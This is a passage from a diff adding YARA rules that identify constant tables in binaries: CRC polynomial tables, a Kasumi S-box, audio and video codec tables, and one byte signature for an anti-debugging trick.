0ab324b144940809652ae25d86d295ecd91fc1a92db02ea480fe9d0e7eccc637af302dd253e63e1bfe772710a230513249cd1e458151f5178a4a4fe78a842f3e289738586c9ec3e80055323f9cefd6ba0249f311b0f132815c4cedbef07eb0ec2b340fa400a27bb6f1c3b63175efbc38eca31ce5239e9ce6d1ef1ad160bf574ed63397241f0d9da2e19e140133d4c12e7df8619ed56bb55eff008c4547be545835b577efa27fe9b6ef2050445bc7bf500d45f49ad97c804081393b2f30e6a392082bc6066721ca3ec71b31fd53cd03bd9a1142a8711b9cdaafed9b388808c8803ce4497475f452b575655e66a505d44f96f03461291998c886d2a8dd07a90c79bb2b775abed031634f94935b02e3370df23d5bb1cafa0f8b19b17e98c28388bb5b5f43db3e3a3a1893ad34d5d10545cb4dd91567d9ec6bd23ba786b90c1399d52611f48e808cec5372534 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xa00ae278__32_big_refl_True_
+{
+strings:
+	$a0 = { 000000001d38136506fe86c11bc695a40dfd0d8210c51ee70b038b43163b98261bfa1b0406c208611d049dc5003c8ea0160716860b3f05e310f990470dc183220b7a9603164285660d8410c210bc03a706879b811bbf88e400791d401d410e2510808d070db89e62167e0bc60b4618a31d7d8085004593e01b83064406bb152116f52c060bcd3f63100baac70d33b9a21b082184063032e11df6a74500ceb4200d0f3702103724670bf1b1c316c9a2a600f23a801dca29e5060cbc411b34af241d8fba0500b7a9601b713cc406492fa11072b7870d4aa4e2168c31460bb422230675a1011b4db264008b27c01db334a50b88ac8316b0bfe60d762a42104e39271164f8070c5ceb62179a7ec60aa26da31c99f58501a1e6e01a677344075f60210a9ee30317a6f0660c6065c2115876a70763ee811a5bfde4019d68401ca57b251a1e6e0407267d611ce0e8c501d8fba017e363860adb70e3111de5470c25f62201e475001cdc6665071af3c11a22e0a40c19788211216be70ae7fe4317dfed260791d4011aa9c764016f52c01c5741a50a6cd9831754cae60c925f4211aa4c271c6bcf050153dc601a9549c407ad5aa11196c2870caed1e2176844460a5057230ceb420211d351670a15c4c3172dd7a601164f801c2e5ce507e8c9411ad0da24171159060a294a6311efdfc70cd7cca21aec548407d447e11c12d245012ac1201e475005037f436018b9d6c40581c5a113ba5d870e824ee21544db46087cc82305bd4b01188558640343cdc01e7bdea508404683157855e60ebec0421386d327153dc6060805d56313c340c70efb53a218c0cb8405f8d8e11e3e4d4503065e200ec7dd0213ffce6708395bc3150148a6033ad0801e02c3e505c4564118fc452408b27c03158a6f660e4cfac21374e9a7054f7181187762e403b1f7401e89e425134867070e70746215b6e1c6088ef2a31eb56a85038d79e0184bec440573ff2103c8ea001ef0f96505366cc1180e7fa40e35e782130df4e708cb614315f372261832f104050ae2611ecc77c503f464a015cffc8608f7efe313317a470e0969220f23a802121bbb6709dd2ec314e53da602dea5801fe6b6e5042023411918302414d9b30609e1a063122735c70f1f26a21924be84041cade11fda384502e22b2004593e0119612d6402a7b8c01f9faba509a43383149c20e60f5ab5421262a6271fa32505029b3660195da3c40465b0a1125e28870f663be214a0ae460998bd2319d6840404ee97611f2802c5021011a0142b898609139ae312d50f470fed1c22022c9f001f148c6504d219c119ea0aa40fd1928212e981e7092f14431417072612ac12070f940162145294c6096a87a31f511f8502690ce019af994404978a2109560903146e1a660fa88fc212909ca704ab0481199317e4025582401f6d9125 }
+
+condition:
+	$a0
+}
+
+	
+rule Kasumi_S9__16_big_1024_
+{
+strings:
+	$a0 = { 00a700ef00a1017b0187014e00090152002600e20030016601c40181005a018d00b700fd0093014b019f01540033016a013201f40106005200d8009f016400b100af00f101e9002500ce00110000014d002c00fe017a003a008f00dc00510190005f0003013b00f5003600eb00da019501d8010800ac01ee01730122018f004c00a500c5018b0079010101e001a700d400f0001c01ce00b0019601fb012000df01f5019700f90109005900ba00dd01ac00a4004a01b800c401ca01a5015e00a300e8009e00860162000d00fa01eb008e00bf004500c101a9009800e3016e00870158012c011400f201b5014000710116000b00f30057013d0024005d01f0001b01e701be01e200290044009c01c9008301460193015300140027007301ba007c01db018001fc0035007000aa01df0097007e00a90049010c0117014100a8016c016b0124002e01f3018901470144001801c8010b009d01cc01e801aa013500e501b701fa00d0010f015d019101b200ec001000d1016700340038007800c7011501d101a000fc011f00f600060053013101a40159009901f60041003d00f4011a00ad00de01a20043018201700105006501dc012300c301ae0031004f00a6014a0118017f01750080017e0198009b01ef016f01840112006b01cb01a1003e01c6008400e100cb013c00ea000e012d005b01f7011e01a800d3015b0133008c017600230067007d01ab001300d601c5009201f2013a01bc00e60100014900c6011d00320074004e019a000a00cd01fe00ab00e7002d008b01d3001d005601f900200048001a01560096013901ea01af00ee019b0145009501d90028007700ae016300b900e90185004701c0011101740037006e00b20142000c01d50188017100be0001006d0177008900b50058004b0134010401e40062011001720113019c006f0150013e000401f801ec01030130004d015101b300150165012f014c01e30012002f0055001901f101da01210064010d012801de010e006a001f006801b10054019e01e6018a00600063009a01ff0094019d0169019900ff00a200d7012e00c9010a015f0157009001b9016d006c012a00fb002200b601fd008a00d2014f0085013701600148008d018c015a007b013f01c2011901ad00e401bb01e1005c019401e501a600f80129001700d5008201d2001600d9011b00460126016801a3007f01380179000701d400c200020075012701cf010200e001bf00f700bb0050018e011c016100690186012b01d701d600b8003900c8015c003f00cc00bc002101c30061001e013600db005e00a0008101ed004000b30107006600bd00cf0072019201b601dd0183007a00c0002a017d00050091007600b401c1012501430088017c002b0042003c01c7015501bd00ca01b0000800ed000f017801b401d0003b01cd }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_IBM_poly_0x8005__16_lil_refl_False_
+{
+strings:
+	$a0 = { 000005800f800a001b801e0014001180338036003c00398028002d8027802200638066006c00698078007d8077807200500055805f805a004b804e0044004180c380c600cc00c980d800dd80d780d200f000f580ff80fa00eb80ee00e400e180a000a580af80aa00bb80be00b400b180938096009c00998088008d8087808200838186018c01898198019d8197819201b001b581bf81ba01ab81ae01a401a181e001e581ef81ea01fb81fe01f401f181d381d601dc01d981c801cd81c781c201400145814f814a015b815e0154015181738176017c01798168016d8167816201238126012c01298138013d8137813201100115811f811a010b810e0104010181038306030c03098318031d8317831203300335833f833a032b832e0324032183600365836f836a037b837e0374037183538356035c03598348034d8347834203c003c583cf83ca03db83de03d403d183f383f603fc03f983e803ed83e783e203a383a603ac03a983b803bd83b783b203900395839f839a038b838e0384038183800285828f828a029b829e0294029182b382b602bc02b982a802ad82a782a202e382e602ec02e982f802fd82f782f202d002d582df82da02cb82ce02c402c182438246024c02498258025d8257825202700275827f827a026b826e0264026182200225822f822a023b823e0234023182138216021c02198208020d8207820202 }
+
+condition:
+	$a0
+}
+
+	
+rule t_class_16_hi0xE382__16_lil_512_
+{
+strings:
+	$a0 = { 0000885710af98f8f70e7f59e7a16ff6ee1d664afeb276e51913914409bc81ebdc3b546ccc9444c32b35a3623b9ab3cd3226ba712289aadec5284d7fd5875dd0b8773020a8d8208f4f79c72e5fd6d781566ade3d46c5ce92a1642933b1cb399c644cec1b74e3fcb493421b1583ed0bba8a5102069afe12a97d5ff5086df0e5a770eff8b86040e81787e10fb6974e1f199ef216a58e5d060a69fce1ab7953f104acd42483bc7b342c5bdad38d4b75c32242c9ca9e5266da31b5c73d90a5682d3fc89840cfd83750603f96b7c12f39a76e2685aed2362abe7dd18b59dcc124497314a39cf4040c8c5be3ad6bfaf3027b55fabe72e9ea1162460db085e71d1f9548378ebfd92721af76c08048d7d02f5878d99351c4c93c416b2e9da6ca3e32b665ebb563e2fb1a734d1cbb94ec0c14844305a88dff15079d50f2a67af1e2096a5e8ff907ae9f56170178f7f0a06858e00f61e4e9b3714bf91c96ea1ebd86450e1253c2db95436dcb3aa4cc2c9bb4633c34bddf3588ad7025274ad1c2865a7ed2294761cf3657cedf99b06f3838a0c02897a97c212bb9d331845e72d6254eddc68a9b5a130d8bf503a26c54e4037cfbf4ac7547fd1065e8edbf82490a1e92e61ab1ff167741efb967ee0818804f18b790e0110b995c01a489f3e6056e52f6aa7efd232dab7a3382bbd5d4235c74c48c4cdbcd304567dd9f55c83a3eb2692a91a2c6 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_60__flt32___32_lil_480_
+{
+strings:
+	$a0 = { 0000803f00000000fd987e3f0513d63de2677a3fcee6543e7178733f7a379e3e1dde693fc93fd03ed7b35d3f0000003fbd1b4f3f1879163fbd3e3e3f254c2b3f244c2b3fbe3e3e3f1879163fbd1b4f3fffffff3ed8b35d3fc83fd03e1ede693f79379e3e7178733fcbe6543ee2677a3fff12d63dfd987e3f2ebd3bb30000803f0b13d6bdfd987e3fd1e654bee1677a3f7b379ebe7078733fcb3fd0be1dde693f0000803f00000000e2677a3fcee6543e1dde693fc93fd03ebd1b4f3f1879163f244c2b3fbe3e3e3fffffff3ed8b35d3f79379e3e7178733fff12d63dfd987e3f0b13d6bdfd987e3f7b379ebe7078733f010000bfd7b35d3f264c2bbfbd3e3e3fbe1b4fbf1779163f1ede69bfc73fd03ee2677abfc8e6543e000080bf2ebdbbb3e1677abfd4e654be1dde69bfcc3fd0bebc1b4fbf1a7916bf234c2bbfbe3e3ebf0000803f000000007178733f7a379e3ebd1b4f3f1879163f1879163fbd1b4f3f79379e3e7178733f0000803f00000000bd1b4f3f1879163f79379e3e7178733f7b379ebe7078733fbe1b4fbf1779163f0000803f000000001879163fbd1b4f3f7b379ebe7078733f727873bf73379e3ebc1b4fbf1a7916bf0000803f000000000000803f000000000000803f000000000000803f000000007e379e3e707873bf }
+
+condition:
+	$a0
+}
+
+	
+rule Dolby_window_dolby_win_256__flt32___32_lil_1024_
+{
+strings:
+	$a0 = { f162193a5fc37c3accb5b13a6ff0e83a547d123bc430333bf9c7563bd9707d3bccaa933b3c4faa3b58b9c23b70fcdc3ba82bf93b05ad0b3c48cd1b3c12002d3cd34e3f3cf3c2523cd265673cc3407d3c872e8a3cf461963c3c3fa33ce4cab03c6709bf3c32ffcd3ca1b0dd3c0022ee3c8757ff3cacaa083dc10f123dfcdc1b3d4b14263d8fb7303d97c83b3d2749473df03a533d929f5f3d9d786c3d8dc7793de6c6833d56e68a3db842923da0dc993d9ab4a13d23cba93dae20b23da3b5ba3d5b8ac33d259fcc3d41f4d53de289df3d2f60e93d4077f33d20cffd3de533043e97a0093e952d0f3ec8da143e11a81a3e4a95203e45a2263eccce2c3ea41a333e8885393e2c0f403e3db7463e607d4d3e3361543e4c625b3e3a80623e85ba693eac10713e2882783e3607803e72da833e78ba873ef8a68b3e9d9f8f3e0fa4933ef3b3973eeace9b3e93f49f3e8a24a43e675ea83ec1a1ac3e2aeeb03e3543b53e6ea0b93e6305be3e9c71c23ea2e4c63efb5dcb3e2addcf3eb261d43e13ebd83ecd78dd3e5c0ae23e3f9fe63ef036eb3eead0ef3ea76cf43ea109f93e50a7fd3e9722013f5971033faabf053f470d083fed590a3f57a50c3f44ef0e3f7037113f997d133f7dc1153fdc02183f75411a3f087d1c3f57b51e3f23ea203f301b233f4248253f1e71273f8a95293f4eb52b3f32d02d3f01e62f3f85f6313f8e01343fe706363f6306383fd2ff393f07f33b3fd9df3d3f1dc63f3faca5413f617e433f1850453fae1a473f05de483ffe994a3f7d4e4c3f68fb4d3fa7a04f3f243e513fcbd3523f8a61543f51e7553f1365573fc3da583f58485a3fcaad5b3f130b5d3f30605e3f1fad5f3fe0f1603f762e623fe462633f308f643f63b3653f86cf663fa5e3673fccef683f0bf4693f73f06a3f15e56b3f06d26c3f5ab76d3f29956e3f8a6b6f3f983a703f6c02713f23c3713fdb7c723fb02f733fc4db733f3581743f2520753fb7b8753f0c4b763f48d7763f905d773f07de773fd458783f1bce783f023e793fb0a8793f4b0e7a3ff96e7a3fe1ca7a3f29227b3ff8747b3f75c37b3fc50d7c3f0e547c3f77967c3f24d57c3f3b107d3fe0477d3f377c7d3f63ad7d3f88db7d3fc7067e3f432f7e3f1c557e3f72787e3f64997e3f12b87e3f99d47e3f16ef7e3fa5077f3f611e7f3f65337f3fca467f3fa9587f3f19697f3f32787f3f08867f3fb1927f3f429e7f3fcca87f3f63b27f3f17bb7f3ffac27f3f1bca7f3f89d07f3f52d67f3f83db7f3f28e07f3f4ee47f3f00e87f3f47eb7f3f2eee7f3fbdf07f3ffcf27f3ff5f47f3fadf67f3f2cf87f3f77f97f3f94fa7f3f88fb7f3f59fc7f3f09fd7f3f9efd7f3f1bfe7f3f82fe7f3fd8fe7f3f1dff7f3f56ff7f3f83ff7f3fa6ff7f3fc1ff7f3fd6ff7f3fe6ff7f3ff1ff7f3ff8ff7f3ffdff7f3f }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pow05_table__flt32___32_lil_28_
+{
+strings:
+	$a0 = { fd44d73ff304b53ff037983f0000803ffd44573ff304353ff037183f }
+
+condition:
+	$a0
+}
+
+	
+rule libtheora_old_FrequencyCounts_VP3__32_lil_8188_
+{
+strings:
+	$a0 = { c60000003e000000160000001f0000000e0000000600000006000000cd000000030000004b0300004b0300009f0100000402000094020000fd0100009c0100005b010000300200000b030000ad030000a20300009502000079010000aa0000009b0000002700000002000000090000000f0000000b00000080000000560000002b0100005c00000022000000270000000f000000060000000600000084000000010000005303000053030000e4010000e50100009a02000002020000a00100005f0100003702000014030000b9030000af0300009e0200007f01000075000000770000001a000000040000001100000007000000010000005d000000380000006f010000730000002a0000002f00000010000000060000000600000069000000010000008003000080030000ec010000ed0100009b020000fe010000980100005601000023020000f8020000a40300009f030000900200007b01000072000000670000000a000000030000000600000002000000010000005800000031000000ce0100009e0000003f0000004c0000001c0000000900000008000000910000000100000074040000740400003d0200003e020000f202000032020000b3010000650100002b020000e6020000190300004c02000012010000510000009a000000750000000d000000060000000c0000000200000001000000680000003e0000002e020000c40000005100000063000000240000000b00000009000000870000000100000014050000150500005e0200005f0200000b03000030020000ad0100005d01000018020000a80200008402000095010000990000001e000000ab000000780000000c000000050000000e000000030000000100000068000000350000007b020000e9000000640000007a0000002e0000000e0000000c000000710000000100000086050000870500007702000077020000110300002b020000b00100004f0100000102000063020000090200001c010000590000000d000000aa000000710000000a000000050000000e0000000300000001000000660000003e000000d002000014010000770000009a0000003e000000140000001000000065000000010000002f0600002f06000095020000950200001a0300002c020000970100003e010000bf010000d801000057010000990000002300000001000000ac000000730000000b000000070000000e00000003000000010000007000000046000000550300004601000090000000b8000000500000001b000000130000003400000001000000cb060000cc060000ac020000ad020000200300001c0200007d010000150100006c01000060010000da0000004e0000000d000000010000008b0000006d00000009000000060000001400000002000000010000005e00000032000000ea0100009a00000039000000350000000a0000000200000001000000ee000000a00000006f0500006e0500004302000042020000eb01000011010000ac00000076000000980000009c0000007f0000004f0000002900000027000000c8020000230200003c0100007d000000b700000032010000ed000000c30100006601000036020000b800000046000000410000000b0000000200000001000000eb0000003300000086050000860500005702000056020000fe0100001d010000b40000007c0000009d000000a100000083000000520000002a00000028000000e202000027020000420100008a000000c3000000bc0000005d000000d90100006d010000c7020000050100006f0000007e0000001b00000004000000010000008900000034000000e2050000e10500008502000085020000370200003c010000c700000088000000ac000000af0000008e000000580000002d0000003000000024020000c1010000ff00000091000000b8000000ae0000007900000004010000e3000000370300003f01000090000000af0000002b0000000700000001000000350000002a00000070060000700600008d0200008c0200004702000049010000cd0000008b000000af000000b00000008b000000540000002c00000022000000d301000085010000d300000089000000b5000000ba0000006b0000006a00000055000000b40300009b010000c9000000140100005500000010000000020000002700000021000000f2060000f10600004802000047020000e901000009010000a20000006f0000008c0000008c0000006c000000400000002600000017000000ac01000064010000c90000008b000000ba000000a50000005e0000004e0000003f000000ea030000d6010000f80000008201000099000000270000000600000017000000170000004a0700004a0700003d0200003d020000d3010000f90000009b0000006700000082000000800000005e0000003c000000260000000e00000043010000070100009f0000006f0000009c000000990000004a0000002e00000022000000fc0300000602000023010000f8010000f20000004e000000120000000e0000000e000000bc070000bb0700000f0200000e02000098010000db00000084000000570000006e000000680000004f000000370000001f0000000700000009010000d5000000810000005b000000830000006f000000320000001f00000014000000fa03000020020000400100004f020000520100008b0000002f00000005000000020000004b0800004b08000024020000230200009e010000d40000007e0000005300000065000000600000004f0000003c0000001700000001000000780000006100000037000000270000003c000000260000000f0000000b00000008000000f20000003e0000001600000014000000040000000100000001000000b6010000010000005102000051020000e9010000ea0100009102000044020000d701000076010000570200000f0300006503000002030000eb0100001701000066010000900000005200000036000000310000004600000005000000210100006b0000003d0100005f0000002600000029000000080000000100000001000000df010000010000008d0200008e020000f4010000f5010000aa02000063020000d90100007801000046020000fa0200002603000090020000660100009b000000a3010000a2000000560000003a0000002400000022000000010000003b0100007e0000007e01000079000000310000003b0000000f0000000300000001000000f001000001000000a2020000a2020000290200002a020000f30200007c020000e70100008701000040020000ce020000bd020000e8010000dd00000048000000c0010000a10000006b00000038000000250000001d000000010000006a0100009c0000009f0100008a00000039000000490000001500000005000000010000001002000001000000e6020000e50200003202000033020000f10200009d020000ec0100008401000033020000980200004d02000054010000810000001a000000f0010000b80000008b0000004700000030000000210000000200000083010000a6000000f0010000aa000000490000005e0000001f0000000800000002000000010200000100000057030000570300005c0200005c0200000103000096020000dd01000064010000e60100000e0200007d010000b700000033000000050000004e020000d6000000a0000000550000003c0000002700000003000000ab010000cb0000004d020000cf0000005900000074000000280000000d00000003000000eb01000001000000970300009703000077020000770200000103000079020000b001000034010000980100007a010000f70000005e000000110000000100000093020000f7000000c900000069000000490000003300000003000000d2010000f2000000d70200000a0100007300000097000000310000001100000006000000b701000001000000d1030000d10300008202000082020000ce0200003c0200007b010000f30000001d010000fb00000085000000280000000100000001000000f40200001f010000fd0000007e0000005e0000004200000004000000ec01000018010000ac03000088010000b4000000f7000000520000001e0000000e000000570100000100000028040000280400006702000068020000540200009e010000eb00000092000000950000006c00000029000000010000000100000001000000720300003a0100005a010000ac0000007d0000005300000006000000e901000023010000b8010000660000002100000017000000020000000100000001000000d1010000550000005403000054030000e8020000e7020000bd020000f001000029010000c1000000e1000000c8000000810000003a00000012000000020000001e030000c20100000d010000ca00000091000000340100009a00000086020000850100005002000097000000350000002b00000006000000010000000100000099010000220000006b0300006b030000ec020000eb020000d3020000fe01000031010000c4000000e5000000c9000000820000003b000000120000000200000020030000b4010000fd000000b900000073000000c2000000580000008202000070010000f7020000de0000005600000055000000110000000200000001000000780100002e0000007803000078030000b1020000b00200004202000098010000e40000008f000000a50000008d000000540000002300000007000000010000006e030000e801000041010000f4000000930000000a0100007c000000640200006f010000900300002a0100007a00000085000000220000000700000001000000050100002c0000004404000043040000f0010000f0010000990100000d010000960000005f0000006a00000057000000310000001000000001000000010000004e0400005a020000ac0100004f010000c1000000430100009d000000a7010000fd0000003004000090010000b4000000d20000003c0000001000000003000000d2000000280000002704000027040000c3010000c301000059010000dd00000079000000490000004f000000400000001f0000000600000001000000010000005104000060020000ce01000066010000ca0000004a0100009b00000079010000e40000008c040000f7010000fe0000004a0100006d0000002200000009000000a7000000230000000e0400000d040000860100008601000016010000aa000000590000003600000038000000280000000d000000010000000100000001000000560400005f020000ec01000091010000da000000570100008d00000043010000c0000000950400004702000041010000e6010000c400000044000000170000007c000000170000000d0400000d0400005b0100005a010000e80000008b00000045000000280000002500000014000000020000000100000001000000010000006804000048020000fa0100009a010000c70000002d010000710000001b0100009f000000ff0300004f0200006e010000bb020000b9010000e4000000710000004f0000000500000020040000200400002301000023010000ad000000600000002600000013000000080000000100000001000000010000000100000001000000a30400000f020000f20100009901000093000000d2000000380000000701000075000000370100004a0000001b0000001b000000050000000100000001000000d601000018000000990200009b0200007d0200007e02000026030000af0200000c0200009201000049020000a7020000610200006c0100007f00000014000000c0010000d2000000830000004c000000340000006f0000001300000089010000c3000000a00100006800000027000000260000000800000001000000010000002102000021000000da020000db020000b4020000b402000062030000c1020000f50100006d010000ef0100000002000083010000a8000000270000000200000005020000f00000009a00000056000000400000007f00000013000000cd010000f7000000da010000750000002b0000002a00000009000000010000000100000030020000280000000f0300000f030000f7020000f802000073030000ba020000d20100003e0100009401000079010000d70000004200000007000000010000002f02000003010000b00000006e00000057000000aa000000160000000802000016010000460200009500000035000000350000000c0000000200000001000000d901000027000000e0030000e1030000c8020000c9020000180300005102000075010000010100002b010000ed00000072000000190000000100000001000000c602000049010000dd0000008f00000074000000e20000001a000000ea01000003010000e8020000d20000004e0000004d000000100000000200000001000000a1010000250000000a0400000b040000d8020000d8020000ce020000fd01000028010000af000000b80000007a0000002a000000030000000100000001000000170300006b010000ff000000a8000000910000003701000023000000ec01000010010000910300002301000079000000800000001c00000004000000010000004e010000280000003b0400003c040000c7020000c8020000700200007a010000bf0000006b0000005f00000032000000070000000100000001000000010000006c0300009e01000020010000b4000000a40000007e01000027000000d5010000130100002904000095010000b8000000d8000000350000000800000001000000ec000000240000006e0400006e040000ad020000ae020000d1010000fd0000007100000030000000290000000900000001000000010000000100000001000000c5030000c301000035010000b3000000a6000000ad010000350000009e010000f90000007c040000240200002d010000b6010000a00000002a000000060000005400000011000000c6040000c70400003e0200003f020000100100006f000000170000000600000002000000010000000100000001000000010000000100000024040000f6010000480100009f00000090000000f5010000360000002e010000b700000093010000500000001800000011000000010000000100000001000000e00100005a000000830300008303000034030000330300009b0200009d010000e4000000850000008b000000620000002a0000000a000000010000000100000061030000d60100003c010000de000000ab000000a3010000d50000008502000090010000ba020000a90000003b000000310000000600000001000000010000009e010000650000007e0300007d030000f9020000f90200003102000052010000ab0000006000000061000000400000001a00000006000000010000000100000080030000ee01000057010000ef000000c0000000ed010000d7000000470200006e01000092030000ff0000005e000000500000000a00000001000000010000005901000080000000a7030000a70300009e0200009f0200009f010000de0000006900000037000000330000001e0000000a000000010000000100000001000000ba030000120200007901000012010000e80000008102000027010000c80100002a0100004f040000670100009200000087000000140000000100000001000000eb000000770000001204000012040000fc010000fb010000250100009200000041000000210000001e000000100000000400000001000000010000000100000007040000310200009701000028010000090100002d0300003d0100002d010000c0000000e7040000f8010000ee00000009010000330000000500000001000000b900000071000000f5030000f5030000b5010000b6010000d40000005c00000029000000120000000f0000000600000001000000010000000100000001000000d0030000120200008201000014010000040100009f03000065010000e0000000940000000c050000620200004c010000cc0100007f00000010000000010000008800000063000000f6030000f703000080010000800100009900000041000000190000000b000000060000000100000001000000010000000100000001000000ae030000e701000057010000f1000000ee000000ca03000066010000ae00000067000000c30400008f02000097010000bc020000180100003700000002000000640000003c00000005040000050400005101000050010000770000002b0000000b000000030000000200000001000000010000000100000001000000010000007e030000c001000031010000c7000000d5000000ed03000040010000880000004d0000004b040000a3020000b3010000cb03000045020000a80000000c00000025000000100000009d040000390400003f0100003e010000420000000b00000006000000010000000100000001000000010000000100000001000000010000009203000072010000eb0000008a00000091000000b5030000800000005e00000029000000e60100007000000027000000220000000600000001000000010000001d020000430000003303000032030000fa020000fb0200002d0300008302000093010000180100004c01000027010000a40000003500000006000000010000007802000026010000b40000008300000069000000d00000006d0000005202000027010000d3020000bf00000045000000410000000c0000000100000001000000bd0100004f00000061030000610300003003000030030000ee0200000302000022010000ac000000b80000007a0000002e000000050000000100000001000000e402000054010000d5000000a5000000810000000e010000a80000005b02000046010000740300000801000066000000670000001500000003000000010000007e0100004400000081030000810300004403000044030000ac020000ab010000e300000077000000770000004600000010000000010000000100000001000000030300006f010000ea000000b80000008f00000010010000b20000002b02000046010000040400005b01000099000000a1000000240000000800000001000000fb0000002c0000003b0400003c040000df020000df0200001d02000021010000900000004d0000003900000017000000030000000100000001000000010000009e030000a60100000e010000d7000000b00000002d010000b7000000bb010000f800000083040000d1010000e000000008010000470000000e00000003000000ae0000001b0000005604000057040000da020000db020000ad010000ce0000004f0000001e000000130000000400000001000000010000000100000001000000a1030000bb01000017010000e1000000c20000002a010000c400000062010000df000000a704000040020000280100009f01000090000000240000000800000072000000100000008a0400008a040000ed020000ed020000520100006c0000001d00000008000000050000000100000001000000010000000100000001000000b3030000ca01000011010000cf000000c2000000f8000000910000000201000098000000910400006b0200006e0100005b020000f70000005c000000170000002e00000001000000d4040000d40400000603000007030000bf000000230000000e0000000100000001000000010000000100000001000000010000000100000091030000c101000004010000d6000000c2000000b400000052000000ae00000062000000ee030000190200007d01000081030000f80100000a0100006500000027000000010000001b0500001b0500009c0200009b0200007400000003000000010000000100000001000000010000000100000001000000010000000100000097040000050100002701000046000000a40000006b0000001f0000000a0000004c0000008c0200009c000000350000002b0000000500000001000000010000007001000080000000d7030000d80300003903000039030000470200004b010000a30000005800000054000000300000000f00000001000000010000000100000066030000e00100003c010000e4000000b3000000a5010000f4000000320200005d010000dc0300001801000068000000570000000c00000001000000010000001a010000c2000000d4030000d5030000e2020000e30200008b010000bd00000050000000250000001f0000000c000000020000000100000001000000010000005e030000e90100004d01000006010000d600000058020000be0100008601000004010000980400008f010000a50000009a000000180000000200000001000000da000000e0000000f9030000fa0300008b0200008b020000180100006f0000002a0000001000000009000000030000000100000001000000010000000100000013030000d5010000440100000d010000e5000000ae0200005b0200000b010000c20000002705000012020000ff0000000c0100002f000000040000000100000071000000b70000007d0400007e040000cd010000cd010000ad0000003a000000110000000500000003000000010000000100000001000000010000000100000000030000c20100003101000005010000dd000000cc020000430300008800000061000000520500009d02000063010000d10100006800000009000000010000004c00000099000000e5040000e50400008e0100008d010000660000001500000005000000010000000100000001000000010000000100000001000000010000005402000073010000ee000000e4000000c400000094020000ba03000044000000350000004a050000e5020000be010000be020000ae0000000f000000010000002600000057000000da050000da05000026010000260100002b0000000700000001000000010000000100000001000000010000000100000001000000010000007d0100001b010000a5000000b50000009b000000200200000f0400001900000015000000ee0400007503000022020000b3030000070100001200000001000000120000001b0000007407000074070000a3000000a20000000e000000010000000100000001000000010000000100000001000000010000000100000001000000c300000098000000530000007d0000006d000000690100003b0300000700000005000000eb090000b7030000710100002a020000d400000012000000010000000100000001000000f2080000f10800004000000040000000010000000100000001000000010000000100000001000000010000000100000001000000010000001200000012000000090000003700000024000000b80000004301000001000000 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Rose_s_TRAP__3__8_byt_10_
+{
+strings:
+	$a0 = { b409cd2166b8004ccd21 }
+
+condition:
+	$a0
+}
+
+	
+rule libdjvu_IW44_norm_of_all_wavelets__flt32___32_big_64_
+{
+strings:
+	$a0 = { 45243fd343374a1043374bc0424c966d42375571423756a7414cad0e4137f2864137f434404e0243403ff438403ff76a3f5f91a53f89879c3f8989943edb9cf3 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_0__16_lil_258_
+{
+strings:
+	$a0 = { 0040c23e843d473c0a3bcf3995385d372536f034bb338b325b313030062fe12dbc2c992b762a5a293f282b2717260b25ff23f922f421f820fd1f0a1f181e301d481c601b781a9a19bd18ea1718174f168815c814081453139e12f3114911a81008106a0fcc0e380ea50d1b0d920c120c930b1a0ba10a310ac2095b09f40894083408d40774071c07c40673062206d90590054b050705c70489044c041404dc03aa03780347031603ea02be0296026f024c0229020802e801cb01af0195017c0165014e01370120010c01f800e600d500c500b600a8009a008e00820077006c0063005a00510048004000380031002a0024001e00190014000f000b00070003000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_CCITT_poly_0x0811__16_lil_refl_True_
+{
+strings:
+	$a0 = { 0000142328463c65508c44af78ca6ce98108952ba94ebd6dd184c5a7f9c2ede1021116322a573e74529d46be7adb6ef88319973aab5fbf7cd395c7b6fbd3eff0042210012c64384754ae408d7ce868cb852a9109ad6cb94fd5a6c185fde0e9c3063312102e753a5656bf429c7ef96ada873b9318af7dbb5ed7b7c394fff1ebd208441c672002342158c84ceb708e64ad894c9d6fa10ab529d9c0cde3f186e5a50a551e76221336305ad94efa729f66bc8b5d9f7ea31bb738dbd1cff2f397e7b40c661845242030035cea48c974ac608f8d6e994da528b10bdde2c9c1f5a4e1870e771a54263132125efb4ad876bd629e8f7f9b5ca739b31adff3cbd0f7b5e396108804ab38ce2ced4004542768427c61918085a3b9c6ade5c10cd52fe94afd69129906ba3adf2efc421556366a537e70939187b2bbd7aff4c31dd73eeb5bff7814aa00893cec28cf442650056c60784395a28181bde4a9c7c52ed10ded68f94b16bb02983efd2ade463752146e717a5297b38390bff5abd6c73fd31cef79fb5a18cc0cef308a24a948405c636006742599c48de7b182a5a1c948dd6be10ef52d1add0efe329b26b84a515e72621776349bd58ff6b393a7b0cb59df7ae31ff73c1cee08cd34a8208b4c625841642470079de689c5b5a0a183cd6ad949e52cf10f1eff0adc36b9229a4e735a50663572169ff78bd4b7b1a392cf7bdb58e73df31e }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_12_poly_0x80f__16_lil_refl_True_
+{
+strings:
+	$a0 = { 0000e43dc87b2c4690f774ca588cbcb1010fe532c9742d4991f875c55983bdbe021ee623ca652e5892e976d45a92beaf0311e72ccb6a2f5793e677db5b9dbfa0043ce001cc47287a94cb70f65cb0b88d0533e10ecd48297595c471f95dbfb9820622e21fce592a6496d572e85eaeba93072de310cf562b6b97da73e75fa1bb9c0878ec45c003243e988f7cb250f4b4c90977ed4ac10c253199807dbd51fbb5c60a66ee5bc21d26209a917eac52eab6d70b69ef54c312272f9b9e7fa353e5b7d80c44e879c43f20029cb3788e54c8b0f50d4be976c530210d9dbc798155c7b1fa0e5aea67c621221c9ead7a9056d6b2eb0f55eb68c72e23139fa27b9f57d9b3e410f0f4cdd88b3cb68007643a487cac4111fff5c2d9843db9810865354973ad4e12eef6d3da953ea8821966244a62ae5f13e1f7dcdb9a3fa78316672b4b6daf5014ccf0f1dcb7388a843b60064c40a87d15c3f1feddb83985853461094d4fa97216d2f2efdea93a94862562184e5eaa6317ddf3e0dfa63b9b872a63174f51ab6c1888fcb5d0f334ce887f6c424004a4391987fdbad1fc35c189706d4d410ba5361a96feabd2ed36d08a616e5c421aa6271b99ffa4d3e237df8b6e6f534315a7281cb4f889d4cf30f28c43687e4438a0051dbbf986d5c031fd8